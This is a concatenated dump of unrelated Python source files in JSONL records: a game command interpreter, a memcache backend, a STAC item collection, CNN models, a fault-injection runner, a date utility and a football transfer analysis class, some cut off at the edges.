self.stripped_cmdDict)\n except KeyError:\n # If no key, inform, and kick user back to prompt\n msg = 'command does not exist at this level. Enter h or help for a list of commands.'\n print('{} {}'.format(currentCmdKey, msg))\n self.stripped_cmdDict = None\n\n def _make_class(self, className):\n import commands\n from inspect import getmembers, isclass\n '''Generates a class instance from a global list of available classes.'''\n # Want to allow this method to work with imported modules later\n if hasattr(commands, className):\n module = getattr(commands, className)\n print('Module:\\t:', module)\n commands = getmembers(module, isclass)\n print('Commands:\\t:', commands)\n command = [command[1] for command in commands][0]\n print('Command:\\t:', command)\n\n constructor = globals()[className]\n print('Constructor:\\t', constructor)\n return constructor\n\n def interpret(self, cmd_stack_in):\n '''Main bulk of cmd interpretter. Receives a cmdStack with no cmdList in 'cmds' key and immediately prompts the user for input. \\\n Iterates new cmdStack before finding the cmd_stack_in['current'] value in the current cmdDict. \\\n Checkes to see if the value is None, a str, a dictionary, or a Player/Party class.\n If str, the 'current' cmd is interpretted as a method call to a method inside the class instance.\n If dict, its interpretted as a subclass and calls the class, sending the cmdStack and new stripped dictionary down the line.\n If its a class, it sends the cmdStack to the interpretter of the class object associated with the 'current' key.'''\n print('reachedInterpret')\n # print('before interpret nextstack: ', cmd_stack_in)\n # Prompting and iterating the given stack\n cmd_stack_in = self._nextstack(self.prompt(cmd_stack_in))\n # Updating instance cmdStack to newly generated stack.\n self.cmdStack = cmd_stack_in\n # print('after interpret nextstack: ', cmd_stack_in)\n\n # print('dict before strip:\\n', self.cmdDict, end=\"\\n\\n\")\n # Strips the current layer of the dict off to get the next dict to send down the line.\n self._strip_cmdDict(cmd_stack_in['current'])\n # print('dict after strip:\\n', self.stripped_cmdDict, end=\"\\n\\n\")\n\n # print('before check for class/method: ', cmd_stack_in)\n # Checks for None, str, dict, or class in the stripped dict.\n if self.stripped_cmdDict is None:\n return None\n elif isinstance(self.stripped_cmdDict, str) is True and self.stripped_cmdDict in self.methodDict:\n # If the value of a key in the cmdDict is not a dict, then it represents a method.\n # Set the next method = the dictionary's value.\n print('Made it to method maker')\n self.nextMethod = self.methodDict[self.stripped_cmdDict]\n print(self.nextMethod)\n elif isinstance(self.stripped_cmdDict, dict) is True:\n # Makes a new class object and assigns it to an instance variable.\n print('Made it class maker.')\n print(self.nextClassInstance)\n self.nextClassInstance = self._make_class(cmd_stack_in['current'].title())\n elif isinstance(self.stripped_cmdDict, Player) is True:\n # Send execution to that player instance's interpret method\n print('Made it to call Player.')\n self.nextMethod = self.stripped_cmdDict.interpret\n elif isinstance(self.stripped_cmdDict, Party) is True:\n # Send execution to that party instance's interpret method\n print('Made it to call Party.')\n self.nextMethod = self.stripped_cmdDict.interpret\n else:\n print(\"'self.stripped_cmdDict' is neither a str, a dict, a instanced class, nor does it give a KeyError. \\\n Cmd exists in dict, but is a value or 'None', not a method name. \\\n Fix {}\".format(cmd_stack_in['current']))\n # Checking to see what came out of the previous if statements. If nextClassInstance or nextMethod\n # has changed from the default values, it will return that instance variable.\n if self.nextClassInstance is not self:\n print('reached cmdLoop/class')\n self.nextClassInstance(self.cmdStack, self.stripped_cmdDict)\n self.cmdStack = self._prevStack(self.cmdStack)\n return self.cmdStack\n elif self.nextMethod is not self.__init__:\n print('reached cmdLoop/method')\n self.cmdStack = self.nextMethod(self.cmdStack)\n return self.cmdStack\n else:\n print('Interpret did not create a nextClassInstance or nextMethod. Try another command.')\n return None\n\n\nclass Start(Cmd):\n def __init__(self, cmd_stack_in, cmdDict):\n # print('seed_stack before prompt:\\t', self.seed_stack)\n self._selfVars(cmd_stack_in, cmdDict)\n self._cmdLoop()\n print('Backing out of start.')\n return None\n\n\n# class Session(Start):\n# '''Instantiates party and player class instances.\n# Strips the \"session\" key from the cmdDict, and sends it to interpret().'''\n#\n# def __init__(self, cmd_stack_in, cmdDict):\n# print('reachedSession class')\n# self._selfVars(cmd_stack_in, cmdDict)\n# self._initCampaign()\n# self._genPlyrInstances()\n# # This needs to get wrapped in while loop so interpretation of Session cmds\n# # continue until the next subclass is called\n# self._cmdLoop()\n# print('Backing out of session.')\n# return None\n# # self.interpret(self.prompt(self.received_cmdStack))\n#\n# def printData(self, cmd_stack_in):\n# '''Prints all relevant information about the current campaign.'''\n# print('reached printData')\n#\n# def _initCampaign(self):\n# import json\n# import os\n# campDicts = {}\n# for camp in os.listdir(Cmd.root_cmdDict['CampaignJSONs']):\n# campDicts[camp[:-5]] = camp\n#\n# for camp in campDicts:\n# print(camp)\n#\n# print('Please enter a campaign from the list:\\t', end='')\n#\n# with open('{}\\\\{}.json'.format(Cmd.root_cmdDict['CampaignJSONs'], input().upper()), 'r') as campPath:\n# self.campDict = json.load(campPath)\n#\n# self.plyrDict = self.campDict['Party']\n# # print('Player Dictionary:\\t', self.plyrDict)\n#\n# def setCamp(self, cmd_stack_in):\n# '''Changes current campaign to another.'''\n# print('reached setCampaign')\n# self._prevStack(cmd_stack_in)\n#\n# def _genPlyrInstances(self):\n# # import json\n# '''Creates an instance of the Player class for each player in the campaign's party dictionary. \\\n# Assigns these class instances to a key in the cmdDictionary so they can be found by self.interpret()'''\n# for plyr in self.plyrDict:\n# self.cmdDict[plyr] = Player(self.plyrDict[plyr])\n# # with open('.\\\\jsons\\\\cmdDictwPlyrs.json', 'w') as outfile:\n# # json.dump(self.cmdDict, outfile, indent=2, sort_keys=True)\n#\n# def resetCamp(self):\n# '''Reset's session in given campaign to beginning.'''\n# pass\n#\n#\n# class Combat(Session):\n# pass\n#\n#\n# class Search(Session):\n# pass\n#\n#\n# class Entity(Session):\n# def __init__(self):\n# pass\n#\n# def _selfVars(self, cmdDict):\n# '''Assigns instance variables that need to be assigned in both parent and subclass init methods.\n# The subclass cannot run the parent class' init method, so these must be assigned in a method.'''\n# import inspect\n# self.received_cmdDict = {}\n# self.received_cmdStack = {}\n# self.cmdDict = {}\n# self.cmdStack = {}\n# # Fill instance variables\n# self.received_cmdDict = cmdDict\n# self.cmdDict = cmdDict\n# # Grab METAcmds\n# self.METAcmds = Cmd.metaJSON\n# # Set next instance and method to current instance and its init\n# self.nextClassInstance = self\n# self.nextMethod = self.__init__\n# # Build dictionary of all methods in the current class instance\n# self.methodDocs = {}\n# self.methodDict = {}\n# inspectLst = inspect.getmembers(self, predicate=inspect.ismethod)\n# for item in inspectLst:\n# self.methodDict[item[0]] = item[1]\n# self.methodDocs[item[0]] = item[1].__doc__\n#\n# # Set escape bools for getting in and out of the class instances.\n# self.back = False\n# self.exit = False\n#\n# def setStat(self, cmd_stack_in):\n# '''Takes a given stat, and sets it to a given value.'''\n# print('reached setStat')\n# self.cmdStack = cmd_stack_in\n# return self._prevStack(self._prevStack(cmd_stack_in))\n#\n# def dmg(self):\n# '''Records dmg between two entity objects by the amount given.'''\n#\n# def heal(self):\n# '''Records healing between two entity objects.'''\n#\n# def addCurrency(self):\n# '''Adds currency to an object.'''\n#\n# def addItem(self):\n# '''Adds an item to an object.'''\n#\n# def addSpell(self):\n# '''Adds a spell to an object.'''\n#\n#\n# class Group(Session):\n# pass\n#\n#\n# class Building(Entity):\n# pass\n#\n#\n# class Location(Session):\n# pass\n#\n#\n# class Living_Entity(Entity):\n# def __init__(self):\n# pass\n#\n#\n# class Party(Group):\n# pass\n#\n#\n# class Player(Living_Entity):\n# def __init__(self, stats):\n# import json\n# with open(Cmd.root_cmdDict['plyrCmds'], 'r') as plyrCmds:\n# self.cmdDict = json.load(plyrCmds)\n# self._selfVars(self.cmdDict)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"2nd attempt depreciated/old-gmcmd.py","file_name":"old-gmcmd.py","file_ext":"py","file_size_in_byte":19859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"610730962","text":"\"\"\"\nnydus.db.backends.memcache\n~~~~~~~~~~~~~~~~~~~~~~~\n\n:copyright: (c) 2012 DISQUS.\n:license: Apache License 2.0, see LICENSE for more details.\n\"\"\"\n\nfrom __future__ import absolute_import\n\nimport pylibmc\n\nfrom nydus.db.backends import BaseConnection, BasePipeline\nfrom nydus.db.base import EventualCommand\n\nclass Memcache(BaseConnection):\n\n retryable_exceptions = frozenset([pylibmc.Error])\n supports_pipelines = True\n\n def __init__(self, host='localhost', port=11211, binary=True,\n behaviors=None, **options):\n self.host = host\n self.port = port\n self.binary = binary\n self.behaviors = behaviors\n super(Memcache, self).__init__(**options)\n\n @property\n def identifier(self):\n mapping = vars(self)\n return \"memcache://%(host)s:%(port)s/\" % mapping\n\n def connect(self):\n host = \"%s:%i\" % (self.host, self.port)\n return pylibmc.Client([host], binary=self.binary, behaviors=self.behaviors)\n\n def disconnect(self):\n self.connection.disconnect_all()\n\n def get_pipeline(self, *args, **kwargs):\n return MemcachePipeline(self)\n\nclass MemcachePipeline(BasePipeline):\n def __init__(self, connection):\n self.pending = []\n self.connection = connection\n\n def add(self, command):\n # A feature of Memcache is a 'get_multi' command. Therefore we can merge\n # consecutive 'get' commands into one 'get_multi' command.\n\n # Need to merge this into one command\n if command._attr == 'get':\n if self.pending and self.pending[-1]._attr == 'get_multi':\n self.pending[-1]._args[0].append(command._args[0])\n\n else:\n key = command._args[0]\n multi_command = EventualCommand('get_multi')\n multi_command([key])\n self.pending.append(multi_command)\n\n else:\n self.pending.append(command)\n\n def execute(self):\n ret = []\n for command in self.pending:\n ret.append(command._execute(self.connection))\n\n return ret\n","sub_path":"nydus/db/backends/memcache.py","file_name":"memcache.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"57535271","text":"import json\nfrom copy import deepcopy\n\nimport pystac\n\n\nclass ItemCollection(object):\n \"\"\"Implementation of the `STAC API ItemCollection Fragment\n `__.\n\n Attributes\n ----------\n features : list\n A list of :class:`pystac.Item` instances for this instance.\n\n \"\"\"\n def __init__(self, features=None):\n super().__init__()\n\n features = features or []\n self.features = [f.clone() for f in features]\n self.links = []\n for f in self.features:\n f.clear_links('root')\n\n def __getitem__(self, key):\n return self.features[key]\n\n def to_dict(self, include_self_link=True):\n \"\"\"Serializes an :class:`ItemCollection` instance to a JSON-like dictionary. \"\"\"\n\n links = self.links\n if not include_self_link:\n links = filter(lambda l: l.rel != 'self', links)\n\n d = {\n 'type': 'FeatureCollection',\n 'links': [link.to_dict() for link in links],\n 'features': [f.to_dict() for f in self.features]\n }\n\n return d\n\n def clone(self):\n \"\"\"Creates a clone of this object. This clone is a deep copy; all links are cloned and all other\n elements are copied (for shallow lists) or deep copied (for dictionaries).\"\"\"\n clone = self.__class__(features=[item.clone() for item in self.features],\n stac_extensions=list(self.stac_extensions)\n if self.stac_extensions is not None else None,\n extra_fields=deepcopy(self.extra_fields),\n conformance=list(self.conformance))\n for link in self.links:\n clone.add_link(link.clone())\n return clone\n\n @classmethod\n def from_dict(cls, d, conformance=None, href=None, root=None):\n \"\"\"Parses a :class:`ItemCollection` instance from a dictionary. \"\"\"\n features = [pystac.Item.from_dict(feature) for feature in d.pop('features', [])]\n\n item_collection = cls(features=features)\n\n return item_collection\n\n @classmethod\n def from_file(cls, filename):\n with open(filename) as f:\n return cls.from_dict(json.loads(f.read()))\n\n def save(self, filename):\n with open(filename, 'w') as f:\n f.write(json.dumps(self.to_dict()))\n","sub_path":"pystac_client/item_collection.py","file_name":"item_collection.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"359024391","text":"from system.core.controller import *\n\nclass Pokes(Controller):\n def __init__(self, action):\n super(Pokes, self).__init__(action)\n self.load_model('User')\n self.load_model('Poke')\n self.db = self._app.db\n\n # INDEX\n def index(self):\n if session.get('id'):\n user = self.models['User'].get(session['id'])\n users = self.models['User'].get_all()\n pokes = self.models['User'].get_pokes(session['id'])\n return self.load_view('index.html', user=user, users=users, pokes=pokes)\n else:\n return redirect('/main')\n\n def create(self, id):\n self.models['Poke'].create(session['id'], id)\n return redirect('/pokes')\n","sub_path":"app/controllers/Pokes.py","file_name":"Pokes.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"618918237","text":"#Ejercicio 3.1. Escribir dos funciones que permitan calcular:\n#a) La duración en segundos de un intervalo dado en horas, minutos y segundos.\n#b) La duración en horas, minutos y segundos de un intervalo dado en segundos.\n\n#Función (a)\n\ndef convertirASegundos(h, m, s):\n \"\"\"Esta función recibe tres parámetros h (horas), m (minutos) y s (segundos) y devuelve\n ese intervalo en segundos.\"\"\"\n calculo = (h * 3600) + (m * 60) + s \n return print(calculo, 'segundos.')\n\n#Función (b)\n\ndef convertirDeSegundos(segundos):\n \"\"\"Función que recibe segundos y devuelve un intervalo en formato horas:minutos:segundos\"\"\"\n horas = int(segundos/3600)\n segundos -= horas*3600\n minutos = int(segundos/60)\n segundos -= minutos*60\n return print(horas, minutos, segundos, sep=\":\")\n#SANDBOX\n\ninputSegundos = int(input('Ingrese cantidad de segundos: '))\n\ntest = convertirDeSegundos(inputSegundos)","sub_path":"practica/3-1.py","file_name":"3-1.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"278737019","text":"from torch import nn\nfrom torchvision import models\n\n\ndef get_big_model(num_classes, pretrained=True):\n model = models.resnet50(pretrained=pretrained)\n num_features = model.fc.in_features\n model.fc = nn.Linear(num_features, num_classes)\n return model\n\n\nclass CNNBlock(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size):\n super(CNNBlock, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size)\n self.bn = nn.BatchNorm2d(out_channels)\n self.relu = nn.ReLU()\n self.dp = nn.Dropout(0.5)\n\n def forward(self, x):\n x = self.conv(x)\n x = self.bn(x)\n x = self.relu(x)\n x = self.dp(x)\n\n return x\n\n\nclass SmallCNN(nn.Module):\n def __init__(self):\n super(SmallCNN, self).__init__()\n\n self.block1 = CNNBlock(3, 16, (3, 3))\n self.pool1 = nn.MaxPool2d((2, 2))\n\n self.block2 = CNNBlock(16, 32, (3, 3))\n self.pool2 = nn.MaxPool2d((2, 2))\n\n self.block3 = CNNBlock(32, 64, (3, 3))\n self.pool3 = nn.MaxPool2d((2, 2))\n\n self.block4 = CNNBlock(64, 128, (3, 3))\n self.pool4 = nn.MaxPool2d((2, 2))\n\n self.flatten = nn.Flatten()\n\n self.fc1 = nn.Linear(128*6*6, 128)\n self.bn = nn.BatchNorm1d(128)\n self.relu = nn.ReLU()\n self.dp = nn.Dropout(0.5)\n self.fc2 = nn.Linear(128, 10)\n\n def forward(self, x):\n\n x = self.block1(x)\n x = self.pool1(x)\n\n x = self.block2(x)\n x = self.pool2(x)\n\n x = self.block3(x)\n x = self.pool3(x)\n\n x = self.block4(x)\n x = self.pool4(x)\n\n x = self.flatten(x)\n\n x = self.fc1(x)\n x = self.relu(x)\n x = self.dp(x)\n x = self.fc2(x)\n\n return x\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"482836405","text":"import os, sys\nimport filecmp\n\nbmName = sys.argv[1]\nprogInput = sys.argv[2]\n\n# get the cost (i.e. dynamic cycle) of given instruction\ndef get_cost_perinst():\n temp_path = \"./llfi.stat.prof.txt\"\n temp_cost_file = open(temp_path, \"r\")\n temp_cost = int(temp_cost_file.read().split(\"\\n\")[2].replace(\"total_cycle=\", \"\"))\n temp_cost_file.close()\n return temp_cost\n\n# get the SDC rate of given instruction\ndef get_SDC_rate_perinst():\n temp_path = \"./llfi/\"\n file_gld_out = temp_path + \"baseline/output.prof.txt\"\n run_count = 100\n SDC_count = 0\n benign_count = 0\n crash_count = 0\n hang_count = 0\n # print(\"\\rChecking files in \" + temp_path + \" ......\")\n for f in range(run_count):\n file_out = temp_path + \"prog_output\" + \"/output.0-\" + str(f) + \".txt\"\n try:\n file_err = open(temp_path + \"error_output\" + \"/errorfile-run-0-\" + str(f))\n error_msg = file_err.read()\n file_err.close()\n except IOError: # no error output\n error_msg = \"\"\n #####\n try:\n file_out_content = open(file_out)\n file_output_txt = \"\"\n file_out_content.close()\n except IOError: # no error output\n file_output_txt = \"YAFANOUTPUT!\"\n #####\n if(\"hang\" in error_msg):\n hang_count += 1\n elif(\"crash\" in error_msg):\n crash_count += 1\n elif(\"YAFAN\" in file_output_txt):\n SDC_count += 1\n elif(filecmp.cmp(file_out, file_gld_out)):\n benign_count += 1\n else:\n SDC_count += 1\n return float(SDC_count)/float(run_count)\n\n# Get inst type list\ninst_path = \"../inst-type.txt\"\ntype_file = open(inst_path, 'r')\ninst_list = type_file.read().split(\"\\n\")\ntype_file.close()\n\n# Get current inst number\ncur_num = int(os.getcwd().split('/')[-1].split('-')[1])\ncur_type = inst_list[cur_num - 1]\n\n# Perform instrument - profiling - FI\nif(cur_type == 'ret' or cur_type == 'alloca' or cur_type == 'call' or cur_type == 'phi'):\n os.system(\"instrument --readable \" + bmName + \".ll -lm\")\n os.system(\"profile llfi/\" + bmName + \"-profiling.exe \" + progInput)\n print(\"Dangerous instruction type, stop injecting faults!\")\n cur_cost = get_cost_perinst()\n cur_sdc_rate = \"NoFI\"\nelse:\n os.system(\"instrument --readable \" + bmName + \".ll -lm\")\n os.system(\"profile llfi/\" + bmName + \"-profiling.exe \" + progInput)\n fiString = \"injectfault llfi/\" + bmName + \"-faultinjection.exe \" + progInput\n print(\"Run FI with this command: \" + fiString)\n print(fiString)\n os.system(fiString)\n cur_cost = get_cost_perinst()\n if(cur_cost > 0):\n cur_sdc_rate = get_SDC_rate_perinst()\n else:\n cur_sdc_rate = '?'\n\n# Write files\nwrite_cost = open(\"cost.txt\", 'w')\nwrite_cost.write(str(cur_cost))\nwrite_cost.close()\nwrite_sdc_rate = open(\"SDC-rate.txt\", 'w')\nwrite_sdc_rate.write(str(cur_sdc_rate))\nwrite_sdc_rate.close()\n\n# In order to save the storage, remove all temporay FI data. \nos.system(\"rm -rf llfi*\")\nos.system(\"rm -rf graph*.txt\")\n","sub_path":"MINPSID-launcher/bfs/perInstFi/perInstFi-base/base/runFi.py","file_name":"runFi.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"400935751","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='SingleUploadCompany',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('company_name', models.CharField(unique=True, max_length=50)),\n ('selection_type', models.CharField(default=b'ONCAMPUS', max_length=10, choices=[(b'ON CAMPUS', b'ON CAMPUS'), (b'OFF CAMPUS', b'OFF CAMPUS')])),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='StudentDetail',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=100)),\n ('roll_no', models.CharField(max_length=10)),\n ('branch', models.CharField(default=b'CSE', max_length=3, choices=[(b'CSE', b'CSE'), (b'ECE', b'ECE'), (b'EEE', b'EEE'), (b'MEC', b'MEC'), (b'CIV', b'CIV'), (b'PET', b'PET'), (b'IT', b'IT')])),\n ('yearl', models.DateField()),\n ('salary', models.IntegerField()),\n ('company', models.ForeignKey(to='placements.SingleUploadCompany')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='YearPlacement',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('year', models.CharField(max_length=9)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='studentdetail',\n name='year',\n field=models.ForeignKey(to='placements.YearPlacement'),\n preserve_default=True,\n ),\n ]\n","sub_path":"placements/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"604076078","text":"# -*- coding: utf-8 -*-\n'''\nReally simple date/time utilities to make life easy.\n\n- get current/any time, return dict of useful stuff\n- simple date/time formatting\n- basic time operations\n- simple conversion to/from Python datetime object\n\nThe returned JSON-like dictionary object is intended to assist\nin web apps, avoiding the need to mess around with datetime strings.\n\n(C) Duncan McGowan 2016\n'''\n\nimport time as pytime\nfrom datetime import datetime as pydatetime\nimport re\n\n_timer_time = { 'start_time': None, 'end_time': None, 'delta_time': None }\n\n_DAYS = (\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\")\n_MONTHS = (\"January\",\n \"February\",\n \"March\",\n \"April\",\n \"May\",\n \"June\",\n \"July\",\n \"August\",\n \"September\",\n \"October\",\n \"November\",\n \"December\")\n\n_dtmap = {'year' : 0, \n 'month' : 1,\n 'day' : 2,\n 'hour' : 3,\n 'minute' : 4,\n 'second' : 5,\n 'microsecond' : 6,\n 'timezone' : 7 }\n\n\n\nclass _dtime(object):\n \n OBJECT_NAME = \"dtime\"\n \n def __str__(self):\n '''\n Return a string in format: YYYY-MM-DD HH:MM:SS.uuuuuu, being the\n same format as str(datetime_object)\n \n eg; import dtime; dt = dtime(); str(dt)\n '''\n dt_s = \"%d-%02d-%02d %02d:%02d:%02d.%d\" % (\n self.datetime['year'],\n self.datetime['month'],\n self.datetime['day'],\n self.datetime['hour'],\n self.datetime['minute'],\n self.datetime['second'],\n self.datetime['microsecond'] )\n return dt_s\n \n \n def __init__(self, arg=None):\n '''\n Constructor.\n If arg (not using **kwargs as might not be a mapping) is a python datetime object, use that.\n If it is a dictionary of date/time kv pairs, use that.\n If it is an integer, assume it is a timestamp and use that.\n If it is a string, assume it is ISO or similar and try to use that (!).\n Otherwise do nothing :-)\n '''\n self.datetime = {\n 'year' : 0,\n 'month' : 0,\n 'day' : 0,\n 'hour' : 0,\n 'minute' : 0,\n 'second' : 0,\n 'microsecond' : 0,\n 'timestamp' : 0,\n 'utctimestamp' : 0,\n 'timezone' : None,\n 'day_of_week' : None,\n 'month_str' : None }\n \n self.start_time = self.end_time = self.delta_time = 0\n \n if type(arg) is pydatetime:\n \n ''' Initialise from datetime object '''\n \n self._fromdatetime(arg)\n \n elif type(arg) is str:\n \n ''' Initialise from string in format: YYY-MM-DD HH:MM:SS.ss (or similar) '''\n \n self._fromstring(arg)\n \n elif type(arg) is int:\n \n ''' Initialise from timestamp '''\n \n self._fromtimestamp(arg)\n \n elif type(arg) is dict:\n \n ''' Initialise from user-defined dict '''\n \n self._fromdatetime(self.todatetime(arg))\n \n else:\n \n ''' Initialise from current time '''\n \n self._fromdatetime(pydatetime.now())\n \n self.datetime['timestamp'] = self.totimestamp(self.datetime)\n self.datetime['utctimestamp'] = self.totimestamp(self.datetime, utc=True)\n \n \n def _fromstring(self, arg):\n ''' \n Convert from a string (this is the ugly bit)\n Should be something like;\n YYYY-MM-DD HH:MM:SS.ss\n YYYY-MM-DD HH:MM:SSZ\n YYYY-MM-DDTHH:MM:SS.SSZ \n '''\n \n if len(arg) < 19:\n raise ValueError(\"Invalid string: use YYYY-MM-DD HH:MM:SS at least!\")\n \n mat = re.match(\"\\d{4}[-]\\d{2}[-]\\d{2}[ T]\\d{2}[:]\\d{2}[:]\\d{2}\",arg)\n if not bool(mat):\n raise ValueError(\"Invalid date/time format: use YYYY-MM-DD HH:MM:SS or similar\")\n \n try:\n self.datetime['year'] = int(arg[0:4])\n self.datetime['month'] = int(arg[5:7])\n self.datetime['day'] = int(arg[8:10])\n self.datetime['hour'] = int(arg[11:13])\n self.datetime['minute'] = int(arg[14:16])\n self.datetime['second'] = int(arg[17:19])\n if len(arg) > 19 and arg.find(\".\") > -1:\n usecs = arg[arg.find(\".\")+1:]\n if usecs.find(\"Z\") > -1:\n usecs = usecs[:-1]\n self.datetime['microsecond'] = int(usecs)\n self._fromdatetime(self.todatetime(self.datetime))\n except Exception as exp:\n raise ValueError(\"Unable to convert string (%s)\" % str(exp))\n \n \n def _fromdatetime(self, dt):\n ''' Convert from a datetime object '''\n self.datetime['year'] = dt.year\n self.datetime['month'] = dt.month # 1-12\n self.datetime['day'] = dt.day # 1-31\n self.datetime['day_of_week'] = _DAYS[dt.weekday()]\n self.datetime['month_str'] = _MONTHS[dt.month-1]\n self.datetime['hour'] = dt.hour\n self.datetime['minute'] = dt.minute\n self.datetime['second'] = dt.second\n self.datetime['microsecond'] = dt.microsecond\n \n \n def todatetime(self, dic=None):\n ''' Return a datetime object '''\n if dic is None:\n dic = self.datetime\n args = [1, 1, 1, 0, 0, 0, 0, None]\n for key in _dtmap.keys():\n if key in dic:\n args[_dtmap[key]] = dic[key]\n return pydatetime(*args)\n \n \n def _fromtimestamp(self, timestamp):\n ''' Convert a timestamp to a dict '''\n self._fromdatetime(pydatetime.fromtimestamp(timestamp))\n \n \n def toisostring(self):\n ''' Convert to ISO format: YYYY-MM-DDTHH:MM:SS.SSZ '''\n iso_s = \"%d-%02d-%02dT%02d:%02d:%02d.%sZ\" % (\n self.datetime['year'],\n self.datetime['month'],\n self.datetime['day'],\n self.datetime['hour'],\n self.datetime['minute'],\n self.datetime['second'],\n str(self.datetime['microsecond'])[:2] )\n return iso_s\n \n \n @staticmethod\n def totimestamp(arg, utc=False):\n '''\n Return a unix timestamp from the date/time in 'arg', which can\n be a datetime object or a dictionary\n '''\n dt = None\n if type(arg) is dict:\n args = [1, 1, 1, 0, 0, 0, 0, None]\n for key in _dtmap.keys():\n if key in arg:\n args[_dtmap[key]] = arg[key]\n dt = pydatetime(*args)\n elif type(arg) is pydatetime:\n dt = arg\n else:\n raise ValueError(\"arg should be datetime object or a dictionary\")\n \n # Use timedelta to return a timestamp\n if utc:\n return int((dt - pydatetime.utcfromtimestamp(0)).total_seconds())\n else:\n return int((dt - pydatetime.fromtimestamp(0)).total_seconds())\n \n \n @staticmethod\n def timer_start():\n _timer_time['end_time'] = _timer_time['delta_time'] = None\n _timer_time['start_time'] = pytime.time()\n \n \n @staticmethod\n def timer_end():\n _timer_time['end_time'] = pytime.time()\n _timer_time['delta_time'] = _timer_time['end_time'] - _timer_time['start_time']\n _timer_time['start_time'] = _timer_time['end_time'] = None\n return _timer_time['delta_time']\n \n \n\n","sub_path":"dtime/dtime.py","file_name":"dtime.py","file_ext":"py","file_size_in_byte":7399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"254008555","text":"'''\nCreated on Dec 11, 2016\n\n@author: peimengsui\n@desc: This class is defined for analysis based on time for year option\n'''\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass yeartool:\n '''\n This class includes methods for time based analysis\n '''\n\n def __init__(self,year,dataset):\n '''\n Constructor\n '''\n self.year = year\n self.dataset = dataset[dataset[\"year\"]==year]\n self.dataset = self.dataset.drop([\"matches\",\"minutes\",\"minutes_per_goal\",\"handle\"],axis=1)\n \n def income_age_dist(self,save):\n '''\n This function is used to plot incoming players' age distribution for different years\n '''\n data = self.dataset[self.dataset.transfer_status==\"in\"]\n fig = plt.figure()\n plt.hist(data[\"age\"])\n plt.title(\"Transfer In Players' Age Distribution\"+str(self.year))\n plt.xlabel(\"Age\")\n plt.ylabel(\"count\")\n print(\"close image to continue\")\n if save=='y':\n fig.savefig('In_Age_Distribution_'+str(self.year)+'.pdf')\n plt.show()\n \n def out_age_dist(self,save):\n '''\n This function is used to plot outgoing players' age distribution for different years\n '''\n data = self.dataset[self.dataset.transfer_status==\"out\"]\n fig = plt.figure()\n plt.hist(data[\"age\"])\n plt.title(\"Transfer Out Players' Age Distribution\"+str(self.year))\n plt.xlabel(\"Age\")\n plt.ylabel(\"count\")\n print(\"close image to continue\")\n if save=='y':\n fig.savefig('Out_Age_Distribution_'+str(self.year)+'.pdf')\n plt.show()\n \n def transfer_fee_amount(self,save):\n '''\n This function plot the total transfer fee amount by clubs\n '''\n data = self.dataset.groupby([\"club\",\"transfer_status\"])[\"transfer_fee_pounds_int\"].sum()\n N = len(data.index.get_level_values(\"club\").unique())\n transfer_in = np.array(data[data.index.get_level_values('transfer_status') == 'in'])\n ind = np.arange(N) # the x locations for the groups\n width = 0.35 # the width of the bars\n \n fig, ax = plt.subplots()\n rects1 = ax.bar(ind, transfer_in, width, color='r')\n \n transfer_out = np.array(data[data.index.get_level_values('transfer_status') == 'out'])\n \n rects2 = ax.bar(ind + width, transfer_out, width, color='y')\n \n # add some text for labels, title and axes ticks\n ax.set_ylabel('Transfer Fee Amount')\n ax.set_title('Transfer Fee Amount by Club')\n ax.set_xticks(ind + width)\n \n ax.set_xticklabels(sorted([x[0:5] for x in set(data.index.get_level_values('club'))]),rotation=90)\n \n ax.legend((rects1[0], rects2[0]), ('In', 'Out'))\n if save=='y':\n fig.savefig('Transfer_Fee_Amount_'+str(self.year)+'.pdf')\n plt.show()\n \n def position_table(self):\n '''\n This function print a table of number of transfered in and out different positions for clubs\n '''\n pd.set_option('display.max_rows', 1000)\n print (self.dataset.groupby([\"club\",\"transfer_status\",\"position\"]).size())\n \n def investment_return(self,save):\n '''\n This function print a table of calculated investment return for each club\n '''\n data = self.dataset[self.dataset[\"transfer_status\"]==\"in\"]\n group = data.groupby(\"club\")[\"transfer_fee_pounds_int\",\"goals\",\"assists\"].sum()\n group[\"pounds_per_goal\"] = group[\"transfer_fee_pounds_int\"]/group[\"goals\"]\n 